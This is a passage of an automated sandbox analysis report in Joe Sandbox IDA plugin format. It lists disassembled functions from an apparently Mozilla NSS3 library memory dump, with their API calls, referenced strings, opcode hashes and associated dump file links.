Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 49913dbdd6160c29e6295990f167b5fce81cb51a919b2f1a5e76db7982e42eaa
Instruction ID: d021be6908825373b8b4f772f2bcf3a78939c62f75d7cbee9668bbbfd172dfc7
Opcode Fuzzy Hash: 49913dbdd6160c29e6295990f167b5fce81cb51a919b2f1a5e76db7982e42eaa
Instruction Fuzzy Hash: 307128F0E05105ABEB009F25EC4176E3679BF6530CF148035D82A9BB42EB32E91BC792

Function 6C9E8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C9E9582), ref: 6C9E8F5B

Part of subcall function 6C9FBE30: SECOID_FindOID_Util.NSS3(6C9B311B,00000000,?,6C9B311B,?), ref: 6C9FBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C9E8F6A

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9E8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C9E8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CACD820,6C9E9576), ref: 6C9E8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C9E901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C9E903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9E9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C9E90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C9E90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C9E90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C9E912D
free.MOZGLUE(00000000), ref: 6C9E9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9E9145

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 0854fb55c87eb5192b2993a24cceb6c20719f00062e0347f521198279015a82b
Instruction ID: 0cf831d922bedf71d190b7a064ddf7f5ad1f4ae4b05c8ba071a3e6b100ce866b
Opcode Fuzzy Hash: 0854fb55c87eb5192b2993a24cceb6c20719f00062e0347f521198279015a82b
Instruction Fuzzy Hash: A551E5B1A043009BE701CF28DC4179B77E8EFA9358F054529E954D7741E731EA59CBD2

Function 6CAB4960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6CAB8061,?,?,?,?), ref: 6CAB497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6CAB499E
GetLastError.KERNEL32(?,?,6CAB8061,?,?,?,?), ref: 6CAB49AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6CAB8061,?,?,?,?), ref: 6CAB49C2

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6CAB8061,?,?,?,?), ref: 6CAB49D6
CreateSemaphoreA.KERNEL32(00000000,6CAB8061,7FFFFFFF,?), ref: 6CAB4A19
GetLastError.KERNEL32(?,?,?,?,6CAB8061,?,?,?,?), ref: 6CAB4A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6CAB8061,?,?,?,?), ref: 6CAB4A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6CAB8061,?,?,?,?), ref: 6CAB4A52
GetLastError.KERNEL32(?,?,?,?,6CAB8061,?,?,?,?), ref: 6CAB4A5A
free.MOZGLUE(00000000,?,?,?,?,?,6CAB8061,?,?,?,?), ref: 6CAB4A6A
CreateSemaphoreA.KERNEL32(?,6CAB8061,7FFFFFFF,?), ref: 6CAB4A9A
free.MOZGLUE(?,?,?,?,?,6CAB8061,?,?,?,?), ref: 6CAB4AAE
free.MOZGLUE(?,?,?,?,?,6CAB8061,?,?,?,?), ref: 6CAB4AC2

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 57fe687c5b7efdf02b794ba0807d2e09118ed50cb5fbab166d7ab9b76709da63
Instruction ID: 0c3a584faab002c5e8643906363f6fdcb78784240e162f50c6785be08380d30b
Opcode Fuzzy Hash: 57fe687c5b7efdf02b794ba0807d2e09118ed50cb5fbab166d7ab9b76709da63
Instruction Fuzzy Hash: 7B412770B0030AABDB10AFA9DC44B4A7BB8AB49318F144028F819F3780DB31D859C765

Function 6CABC8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CABC8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABC8DA
malloc.MOZGLUE(00000001), ref: 6CABC8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CABC8F8
PR_NewLock.NSS3 ref: 6CABC909
PR_NewCondVar.NSS3(00000000), ref: 6CABC918
PR_NewCondVar.NSS3(00000000), ref: 6CABC92A

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

free.MOZGLUE(00000000), ref: 6CABC947

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 53e2fcbb1853253af0ae4df25a0f70dfa92ea9ffa3cb648a94ca481a72f3ed57
Instruction ID: 8846884febfd519f51b2ab2429f765b4deda9b8e483c2e55be9eb3af9e6a5f65
Opcode Fuzzy Hash: 53e2fcbb1853253af0ae4df25a0f70dfa92ea9ffa3cb648a94ca481a72f3ed57
Instruction Fuzzy Hash: 5D21D9B1A007065BEB20BFB99C05A5B76BCAF0529CF144434E86AD3B40E735E559C7A2

Function 6C99AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C99AF47

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

FreeLibrary.KERNEL32(?), ref: 6C99AF6D
free.MOZGLUE(?), ref: 6C99AFA4
free.MOZGLUE(?), ref: 6C99AFAA
PR_ExitMonitor.NSS3 ref: 6C99AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C99AFF5
PR_ExitMonitor.NSS3 ref: 6C99B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C99B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C99B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C99B03C

Strings

Unloaded library %s, xrefs: 6C99B023
%s decr => %d, xrefs: 6C99AFF0

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 4f7c7e4acdd369134099521b9b4fc391ca7d9fe1afb0eefda24b4de5ce25c00f
Instruction ID: 3d266317f9fde25f1f2bb5589c6db9a83514977ddf54270a06bb88150a1955a8
Opcode Fuzzy Hash: 4f7c7e4acdd369134099521b9b4fc391ca7d9fe1afb0eefda24b4de5ce25c00f
Instruction Fuzzy Hash: 573125B4F04101ABEB01AF65DD40A49B779EB1571CB1C8129E80B97E00FB32E878C7E2

Function 6C9E6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C9E781D,00000000,6C9DBE2C,?,6C9E6B1D,?,?,?,?,00000000,00000000,6C9E781D), ref: 6C9E6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C9E781D,?,6C9DBE2C,?), ref: 6C9E6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C9E781D), ref: 6C9E6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C9E6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C9E6C96

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C9E6CAA

Strings

rdb:, xrefs: 6C9E6C69
dbm, xrefs: 6C9E6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C9E6C91
sql:, xrefs: 6C9E6C52
dbm:, xrefs: 6C9E6C3A
extern:, xrefs: 6C9E6C7E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: b1bceb39cd44bfe898d8fa45ae327d041cddb30b003411b0e48cedf275c9f668
Instruction ID: 48b095515ed4abf42853d7e248e133c3df8611ad895dcef6cdfb5c9691729a33
Opcode Fuzzy Hash: b1bceb39cd44bfe898d8fa45ae327d041cddb30b003411b0e48cedf275c9f668
Instruction Fuzzy Hash: EF01A2A17023162BF710277A6D4AF66365CAF9915CF144831FF14E0982EBA2E55580B5

Function 6C9F5800 Relevance: 19.7, APIs: 13, Instructions: 227COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9F5857
EnterCriticalSection.KERNEL32(?), ref: 6C9F586B
PR_Unlock.NSS3(?), ref: 6C9F5888
TlsGetValue.KERNEL32 ref: 6C9F58B9
EnterCriticalSection.KERNEL32(?), ref: 6C9F58CD
PR_Unlock.NSS3(?), ref: 6C9F58E9

Part of subcall function 6C9F5530: TlsGetValue.KERNEL32(?,?,?,00000000,?,6C9F5915,?), ref: 6C9F5556
Part of subcall function 6C9F5530: EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,6C9F5915,?), ref: 6C9F556F
Part of subcall function 6C9F5530: PR_Unlock.NSS3(?,?,?,?,?), ref: 6C9F559C
Part of subcall function 6C9F5530: SECMOD_UpdateSlotList.NSS3(?,?,?,?,?), ref: 6C9F55A4
Part of subcall function 6C9F5530: PR_Sleep.NSS3(?,?,?,?), ref: 6C9F5643
Part of subcall function 6C9F5530: TlsGetValue.KERNEL32(?,?,?,?), ref: 6C9F5653
Part of subcall function 6C9F5530: EnterCriticalSection.KERNEL32(?,?,?,?,?), ref: 6C9F5668

PR_SetError.NSS3(FFFFE098,00000000), ref: 6C9F5934
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C9F59AA
SECMOD_UpdateSlotList.NSS3(?), ref: 6C9F59B3
TlsGetValue.KERNEL32 ref: 6C9F5A4D
EnterCriticalSection.KERNEL32(?), ref: 6C9F5A61
PR_Unlock.NSS3(?), ref: 6C9F5A7A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$ErrorListSlotUpdate$Sleep
String ID:
API String ID: 1180358131-0
Opcode ID: 7b9fd1984ad5d967e71175924c9922013a85c1b491667e80baf9c192bc3c2b75
Instruction ID: ef208a95b515352f2c3fa5d6872a7cd1b39e36e2ada6afe0ae188a792b03181a
Opcode Fuzzy Hash: 7b9fd1984ad5d967e71175924c9922013a85c1b491667e80baf9c192bc3c2b75
Instruction Fuzzy Hash: 3D8148B1F006019BEB049F39DC4166A7BB9BF2531CF148528D96A87B51F731E89ACB81

Function 6C9F4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C9B78F8), ref: 6C9F4E6D

Part of subcall function 6C9909E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C9906A2,00000000,?), ref: 6C9909F8
Part of subcall function 6C9909E0: malloc.MOZGLUE(0000001F), ref: 6C990A18
Part of subcall function 6C9909E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C990A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C9B78F8), ref: 6C9F4ED9

Part of subcall function 6C9E5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703,?,00000000,00000000), ref: 6C9E5942
Part of subcall function 6C9E5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703), ref: 6C9E5954
Part of subcall function 6C9E5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9E596A
Part of subcall function 6C9E5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9E5984
Part of subcall function 6C9E5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C9E5999
Part of subcall function 6C9E5920: free.MOZGLUE(00000000), ref: 6C9E59BA
Part of subcall function 6C9E5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C9E59D3
Part of subcall function 6C9E5920: free.MOZGLUE(00000000), ref: 6C9E59F5
Part of subcall function 6C9E5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C9E5A0A
Part of subcall function 6C9E5920: free.MOZGLUE(00000000), ref: 6C9E5A2E
Part of subcall function 6C9E5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C9E5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4EB3

Part of subcall function 6C9F4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9F4EB8,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F484C
Part of subcall function 6C9F4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C9F4EB8,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F486D
Part of subcall function 6C9F4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C9F4EB8,?), ref: 6C9F4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4EC0

Part of subcall function 6C9F4470: TlsGetValue.KERNEL32(00000000,?,6C9B7296,00000000), ref: 6C9F4487
Part of subcall function 6C9F4470: EnterCriticalSection.KERNEL32(?,?,?,6C9B7296,00000000), ref: 6C9F44A0
Part of subcall function 6C9F4470: PR_Unlock.NSS3(?,?,?,?,6C9B7296,00000000), ref: 6C9F44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CACDCB0,00000000), ref: 6C9F4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C9F501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C9B78F8), ref: 6C9F506B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: c3f5e53b977d99329aebcb2f1838b485d7570f3473f838d3d92a9aa9b0d0fbb7
Instruction ID: 8bd86787b753c53c2e5b4aec7eba0d3086f5af02c5d44ba489f770d92ec449e5
Opcode Fuzzy Hash: c3f5e53b977d99329aebcb2f1838b485d7570f3473f838d3d92a9aa9b0d0fbb7
Instruction Fuzzy Hash: 0B5107B5D002059BEB119F25EC0169B36B8FF2531CF188535EC2A47A11F731D52ACB92

Function 6C99ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C99ACE2
malloc.MOZGLUE(00000001), ref: 6C99ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C99AD02
TlsGetValue.KERNEL32 ref: 6C99AD3C
calloc.MOZGLUE(00000001,?), ref: 6C99AD8C
PR_Unlock.NSS3 ref: 6C99ADC0
free.MOZGLUE(00000000), ref: 6C99AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C99AE58
free.MOZGLUE(00000000), ref: 6C99AE69
free.MOZGLUE(?), ref: 6C99AE78
PR_Unlock.NSS3 ref: 6C99AE8C
free.MOZGLUE(?), ref: 6C99AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C99AEC7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0402bdb9456f8460de9d6e308f8567c79d31e86ca2e4e7d2b2ceecdcf7b38211
Instruction ID: adb17fcc97b29cebfaae6b3f0f2487033555ffc859f5972fcecd54aef48c797b
Opcode Fuzzy Hash: 0402bdb9456f8460de9d6e308f8567c79d31e86ca2e4e7d2b2ceecdcf7b38211
Instruction Fuzzy Hash: 4E518EB0F012168BDF14EF99DC456AE77B8EB1634CF1C4129D814A7A20DB31E959CBD2

Function 6CA74C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CA74CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA74CFD
sqlite3_value_text16.NSS3(?), ref: 6CA74D44

Strings

another row available, xrefs: 6CA74D20
invalid, xrefs: 6CA74CF1
out of memory, xrefs: 6CA74C78, 6CA74C9E
bad parameter or other API misuse, xrefs: 6CA74D05
unknown error, xrefs: 6CA74D56
abort due to ROLLBACK, xrefs: 6CA74D27, 6CA74D33
no more rows available, xrefs: 6CA74D2E
API call with %s database connection pointer, xrefs: 6CA74CF6

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 83ca9682db76e6a3cdf2e5fb5f18c0881a547940d6929764afdd40987a18b0a4
Instruction ID: f6e7a9dddc2ec009186174981da137e637d193b771a0223e63ffc65aeddb90ac
Opcode Fuzzy Hash: 83ca9682db76e6a3cdf2e5fb5f18c0881a547940d6929764afdd40987a18b0a4
Instruction Fuzzy Hash: 8931687FF04911A7D7284628A9007A5B33A7B92318F1D0129D4645BE16DB61ECD2CFF2

Function 6C9A4880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A48A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C9A48C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C9A48D8
